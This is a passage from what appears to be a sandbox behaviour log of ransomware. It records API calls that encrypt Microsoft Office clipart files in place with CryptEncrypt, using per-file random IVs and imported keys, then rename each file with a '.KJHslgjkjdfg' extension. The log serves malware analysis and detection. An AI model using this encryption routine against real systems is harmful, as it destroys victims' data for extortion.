lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.569] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x69cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x69cc, lpOverlapped=0x0) returned 1 [0172.570] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x69d0, dwBufLen=0x69d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x69d0) returned 1 [0172.570] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.570] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x69d0, lpOverlapped=0x0) returned 1 [0172.571] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.571] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.571] SetEndOfFile (hFile=0x114) returned 1 [0172.573] GetProcessHeap () returned 0x2a0000 [0172.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.573] GetProcessHeap () returned 0x2a0000 [0172.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.kjhslgjkjdfg")) returned 1 [0172.574] CloseHandle (hObject=0x114) returned 1 [0172.574] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0172.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.575] GetProcessHeap () returned 0x2a0000 [0172.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.575] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.575] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.575] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.577] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.577] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.577] GetProcessHeap () returned 0x2a0000 [0172.577] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.577] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.577] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.577] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.577] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.578] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.578] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.578] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.578] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.578] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbcfc, lpOverlapped=0x0) returned 1 [0172.579] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd00, dwBufLen=0xbd00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd00) returned 1 [0172.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.580] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbd00, lpOverlapped=0x0) returned 1 [0172.580] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.580] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.580] SetEndOfFile (hFile=0x114) returned 1 [0172.582] GetProcessHeap () returned 0x2a0000 [0172.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.582] GetProcessHeap () returned 0x2a0000 [0172.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.kjhslgjkjdfg")) returned 1 [0172.583] CloseHandle (hObject=0x114) returned 1 [0172.584] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0172.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.584] GetProcessHeap () returned 0x2a0000 [0172.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.584] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.586] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.586] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.586] GetProcessHeap () returned 0x2a0000 [0172.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.586] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.586] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.586] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.587] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.587] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbd04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbd04, lpOverlapped=0x0) returned 1 [0172.588] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd10, dwBufLen=0xbd10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd10) returned 1 [0172.589] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.589] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbd10, lpOverlapped=0x0) returned 1 [0172.589] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.589] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.589] SetEndOfFile (hFile=0x114) returned 1 [0172.591] GetProcessHeap () returned 0x2a0000 [0172.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.592] GetProcessHeap () returned 0x2a0000 [0172.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.kjhslgjkjdfg")) returned 1 [0172.593] CloseHandle (hObject=0x114) returned 1 [0172.593] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0172.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.597] GetProcessHeap () returned 0x2a0000 [0172.597] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.597] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.597] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.597] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.598] GetProcessHeap () returned 0x2a0000 [0172.598] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.598] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.598] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.598] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.628] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.629] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.629] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4330, lpOverlapped=0x0) returned 1 [0172.630] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4330, dwBufLen=0x4330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4330) returned 1 [0172.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.630] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4330, lpOverlapped=0x0) returned 1 [0172.631] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.631] SetEndOfFile (hFile=0x114) returned 1 [0172.633] GetProcessHeap () returned 0x2a0000 [0172.633] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.633] GetProcessHeap () returned 0x2a0000 [0172.633] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.kjhslgjkjdfg")) returned 1 [0172.634] CloseHandle (hObject=0x114) returned 1 [0172.635] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0172.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.635] GetProcessHeap () returned 0x2a0000 [0172.636] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.636] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.636] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.638] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.638] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.638] GetProcessHeap () returned 0x2a0000 [0172.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.638] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.638] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.638] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.638] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.638] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.639] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.639] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.639] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.639] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a94, lpOverlapped=0x0) returned 1 [0172.640] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3aa0) returned 1 [0172.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.640] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3aa0, lpOverlapped=0x0) returned 1 [0172.640] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.640] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.640] SetEndOfFile (hFile=0x114) returned 1 [0172.643] GetProcessHeap () returned 0x2a0000 [0172.643] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.643] GetProcessHeap () returned 0x2a0000 [0172.643] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft 